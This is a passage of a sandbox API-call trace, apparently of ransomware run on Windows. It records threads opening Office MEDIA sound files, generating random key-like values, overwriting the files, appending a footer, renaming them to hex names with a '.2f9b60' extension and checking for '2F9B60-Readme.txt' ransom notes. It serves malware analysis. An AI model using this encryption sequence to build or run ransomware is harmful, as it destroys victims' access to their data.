DestinationString="3a2a1cf2ae2e235605bacdb9a64b7a84") [0103.864] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e61fd58, SourceString="3a2a1cf2ae2e235605bacdb9a64b7a84", AllocateDestinationString=1 | out: DestinationString="3a2a1cf2ae2e235605bacdb9a64b7a84") returned 0x0 [0103.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97e40 [0103.865] wcscat (in: _Dest=0x2050a530, _Source="3a2a1cf2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\3a2a1cf2") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\3a2a1cf2" [0103.865] wcscat (in: _Dest=0x2050a530, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\3a2a1cf2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\3a2a1cf2.2f9b60" [0103.865] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\3a2a1cf2.2f9b60", NtPathName=0x2e61fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\3a2a1cf2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x205018a0 [0104.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205018a0) returned 1 [0104.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420560b0) returned 1 [0104.476] NtQueryInformationFile (in: FileHandle=0x1718, IoStatusBlock=0x2e61fd98, FileInformation=0x2e61fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e61fd98, FileInformation=0x2e61fda8) returned 0x0 [0104.476] NtSetInformationFile (FileHandle=0x1718, IoStatusBlock=0x2e61fd98, FileInformation=0x2e61fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a530) returned 1 [0104.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0104.480] FlushFileBuffers (hFile=0x1718) returned 1 [0104.595] CloseHandle (hObject=0x1718) returned 1 [0104.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4650 [0104.596] wcscpy (in: _Dest=0x202a4650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.596] wcscat (in: _Dest=0x202a4650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0104.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4650) returned 1 [0104.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef10) returned 1 Thread: id = 912 os_tid = 0x14e8 [0101.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav")) returned 0x20 [0103.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV", dwFileAttributes=0x20) returned 1 [0103.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1754 [0103.520] GetFileSizeEx (in: hFile=0x1754, lpFileSize=0x2e53f700 | out: lpFileSize=0x2e53f700*=5732) returned 1 [0103.520] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x1660, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.521] ReadFile (in: hFile=0x1754, lpBuffer=0x2e53f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e53f6c8, lpOverlapped=0x0 | out: lpBuffer=0x2e53f680*, lpNumberOfBytesRead=0x2e53f6c8*=0x4, lpOverlapped=0x0) returned 1 [0103.589] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0103.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0103.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0103.590] NtQuerySystemTime (in: CurrentTime=0x2e53f5c0 | out: CurrentTime=0x2e53f5c0*=132462177090982000) returned 0x0 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x7052f33f [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x70b51f44 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x9b5284c [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x5901b2f1 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x28fbe0d4 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x36df53c9 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x2270a3c7 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x18ab3149 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x234a5f47 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x6142a263 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x2ab321f5 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x4446df4f [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x43d6a2c3 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0xd421e25 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x4d5d670f [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x244df7c2 [0103.590] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x4dc54a59 [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x4979eeac [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x2a209a31 [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x5d32de24 [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x46186497 [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0xa314be [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x5d05cbea [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x11706c2d [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x572c6324 [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x2f59f6cc [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x3e94cfc4 [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0xb4c8658 [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x45f8f80c [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x5e08ed71 [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x34c87ee [0103.591] RtlRandomEx (in: Seed=0x2e53f5b0 | out: Seed=0x2e53f5b0) returned 0x58871185 [0103.600] ReadFile (in: hFile=0x1754, lpBuffer=0x41f44990, nNumberOfBytesToRead=0x1664, lpNumberOfBytesRead=0x2e53f5b0, lpOverlapped=0x0 | out: lpBuffer=0x41f44990*, lpNumberOfBytesRead=0x2e53f5b0*=0x1664, lpOverlapped=0x0) returned 1 [0103.624] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.624] WriteFile (in: hFile=0x1754, lpBuffer=0x41f485a0*, nNumberOfBytesToWrite=0x1664, lpNumberOfBytesWritten=0x2e53f5b4, lpOverlapped=0x0 | out: lpBuffer=0x41f485a0*, lpNumberOfBytesWritten=0x2e53f5b4*=0x1664, lpOverlapped=0x0) returned 1 [0104.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b7a0 [0104.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b8f0 [0104.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b8f0) returned 1 [0104.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f485a0) returned 1 [0104.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f44990) returned 1 [0104.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503910) returned 1 [0104.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0104.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82b8f0 [0104.065] SetFilePointerEx (in: hFile=0x1754, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.065] WriteFile (in: hFile=0x1754, lpBuffer=0x1692b0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e53f6d0, lpOverlapped=0x0 | out: lpBuffer=0x1692b0*, lpNumberOfBytesWritten=0x2e53f6d0*=0x108, lpOverlapped=0x0) returned 1 [0104.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0104.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0104.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0104.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0104.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0104.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0104.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0104.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0104.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0104.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0104.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f670 [0104.181] sprintf (in: _Dest=0x1cd9f670, _Format="%c%c" | out: _Dest="29") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f672, _Format="%c%c" | out: _Dest="6b") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f674, _Format="%c%c" | out: _Dest="6e") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f676, _Format="%c%c" | out: _Dest="b0") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f678, _Format="%c%c" | out: _Dest="0e") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f67a, _Format="%c%c" | out: _Dest="82") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f67c, _Format="%c%c" | out: _Dest="00") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f67e, _Format="%c%c" | out: _Dest="8f") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f680, _Format="%c%c" | out: _Dest="73") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f682, _Format="%c%c" | out: _Dest="d0") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f684, _Format="%c%c" | out: _Dest="b0") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f686, _Format="%c%c" | out: _Dest="b0") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f688, _Format="%c%c" | out: _Dest="71") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f68a, _Format="%c%c" | out: _Dest="4b") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f68c, _Format="%c%c" | out: _Dest="4a") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f68e, _Format="%c%c" | out: _Dest="58") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f690, _Format="%c%c" | out: _Dest="d4") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f692, _Format="%c%c" | out: _Dest="52") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f694, _Format="%c%c" | out: _Dest="53") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f696, _Format="%c%c" | out: _Dest="20") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f698, _Format="%c%c" | out: _Dest="1c") returned 2 [0104.182] sprintf (in: _Dest=0x1cd9f69a, _Format="%c%c" | out: _Dest="38") returned 2 [0104.182] RtlInitAnsiString (in: DestinationString=0x2e53f748, SourceString="296b6eb00e82008f73d0b0b0714b4a58d45253201c38" | out: DestinationString="296b6eb00e82008f73d0b0b0714b4a58d45253201c38") [0104.183] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e53f718, SourceString="296b6eb00e82008f73d0b0b0714b4a58d45253201c38", AllocateDestinationString=1 | out: DestinationString="296b6eb00e82008f73d0b0b0714b4a58d45253201c38") returned 0x0 [0104.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e790 [0104.183] wcscat (in: _Dest=0x2050abf0, _Source="296b6eb00e8" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\296b6eb00e8") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\296b6eb00e8" [0104.183] wcscat (in: _Dest=0x2050abf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\296b6eb00e8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\296b6eb00e8.2f9b60" [0104.183] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\296b6eb00e8.2f9b60", NtPathName=0x2e53f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\296b6eb00e8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x20501e20 [0104.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501e20) returned 1 [0104.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98300) returned 1 [0104.485] NtQueryInformationFile (in: FileHandle=0x1754, IoStatusBlock=0x2e53f758, FileInformation=0x2e53f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e53f758, FileInformation=0x2e53f768) returned 0x0 [0104.485] NtSetInformationFile (FileHandle=0x1754, IoStatusBlock=0x2e53f758, FileInformation=0x2e53f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050abf0) returned 1 [0104.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e790) returned 1 [0104.488] FlushFileBuffers (hFile=0x1754) returned 1 [0104.611] CloseHandle (hObject=0x1754) returned 1 [0104.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a46e0 [0104.613] wcscpy (in: _Dest=0x202a46e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.613] wcscat (in: _Dest=0x202a46e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0104.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a46e0) returned 1 [0104.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4800) returned 1 Thread: id = 913 os_tid = 0x14ec [0101.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav")) returned 0x20 [0102.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV", dwFileAttributes=0x20) returned 1 [0102.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1714 [0102.611] GetFileSizeEx (in: hFile=0x1714, lpFileSize=0x2e6afe20 | out: lpFileSize=0x2e6afe20*=4636) returned 1 [0102.611] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x1218, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.611] ReadFile (in: hFile=0x1714, lpBuffer=0x2e6afda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e6afde8, lpOverlapped=0x0 | out: lpBuffer=0x2e6afda0*, lpNumberOfBytesRead=0x2e6afde8*=0x4, lpOverlapped=0x0) returned 1 [0102.616] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a70 [0102.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e70 [0102.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0102.616] NtQuerySystemTime (in: CurrentTime=0x2e6afce0 | out: CurrentTime=0x2e6afce0*=132462177081310000) returned 0x0 [0102.616] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x392d5d29 [0102.616] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x26bdf9d9 [0102.616] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x5cdb96c0 [0102.616] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x27deb70e [0102.616] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x4f4ff5a8 [0102.616] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x78edd143 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x463fef50 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x4eeef40b [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x19c16868 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x600f341 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x5e25d2b9 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x6272a3f6 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x24a9054a [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0xd09da70 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x5e522848 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x174b7cf8 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x7ab8a03d [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x1bfc250 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x66f00d10 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x4ab5fe00 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x55c16a79 [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x41c885af [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x7dc4620e [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x13f0786a [0102.617] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0xbb8b218 [0102.618] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x799789b [0102.618] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x700c4d9c [0102.618] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0xa7058d9 [0102.618] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0xe916baf [0102.618] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x3148ac68 [0102.618] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x1f228abc [0102.618] RtlRandomEx (in: Seed=0x2e6afcd0 | out: Seed=0x2e6afcd0) returned 0x7e6cd6b5 [0102.628] ReadFile (in: hFile=0x1714, lpBuffer=0x204b3b80, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x2e6afcd0, lpOverlapped=0x0 | out: lpBuffer=0x204b3b80*, lpNumberOfBytesRead=0x2e6afcd0*=0x121c, lpOverlapped=0x0) returned 1 [0102.633] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.633] WriteFile (in: hFile=0x1714, lpBuffer=0x204b7790*, nNumberOfBytesToWrite=0x121c, lpNumberOfBytesWritten=0x2e6afcd4, lpOverlapped=0x0 | out: lpBuffer=0x204b7790*, lpNumberOfBytesWritten=0x2e6afcd4*=0x121c, lpOverlapped=0x0) returned 1 [0103.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0103.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263770 [0103.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263770) returned 1 [0103.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204b7790) returned 1 [0103.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204b3b80) returned 1 [0103.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0103.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0103.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20263770 [0103.114] SetFilePointerEx (in: hFile=0x1714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.114] WriteFile (in: hFile=0x1714, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e6afdf0, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x2e6afdf0*=0x102, lpOverlapped=0x0) returned 1 [0103.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0103.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0103.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0103.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0103.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0103.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0103.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595e0 [0103.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595e0) returned 1 [0103.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0103.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0103.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1b8595e0 [0103.396] sprintf (in: _Dest=0x1b8595e0, _Format="%c%c" | out: _Dest="a5") returned 2 [0103.396] sprintf (in: _Dest=0x1b8595e2, _Format="%c%c" | out: _Dest="d6") returned 2 [0103.396] sprintf (in: _Dest=0x1b8595e4, _Format="%c%c" | out: _Dest="19") returned 2 [0103.396] sprintf (in: _Dest=0x1b8595e6, _Format="%c%c" | out: _Dest="64") returned 2 [0103.396] sprintf (in: _Dest=0x1b8595e8, _Format="%c%c" | out: _Dest="29") returned 2 [0103.396] sprintf (in: _Dest=0x1b8595ea, _Format="%c%c" | out: _Dest="ad") returned 2 [0103.397] sprintf (in: _Dest=0x1b8595ec, _Format="%c%c" | out: _Dest="a8") returned 2 [0103.397] sprintf (in: _Dest=0x1b8595ee, _Format="%c%c" | out: _Dest="5e") returned 2 [0103.397] sprintf (in: _Dest=0x1b8595f0, _Format="%c%c" | out: _Dest="44") returned 2 [0103.397] sprintf (in: _Dest=0x1b8595f2, _Format="%c%c" | out: _Dest="98") returned 2 [0103.397] sprintf (in: _Dest=0x1b8595f4, _Format="%c%c" | out: _Dest="6e") returned 2 [0103.397] sprintf (in: _Dest=0x1b8595f6, _Format="%c%c" | out: _Dest="ba") returned 2 [0103.397] sprintf (in: _Dest=0x1b8595f8, _Format="%c%c" | out: _Dest="cd") returned 2 [0103.397] sprintf (in: _Dest=0x1b8595fa, _Format="%c%c" | out: _Dest="bf") returned 2 [0103.397] sprintf (in: _Dest=0x1b8595fc, _Format="%c%c" | out: _Dest="00") returned 2 [0103.397] sprintf (in: _Dest=0x1b8595fe, _Format="%c%c" | out: _Dest="de") returned 2 [0103.397] RtlInitAnsiString (in: DestinationString=0x2e6afe68, 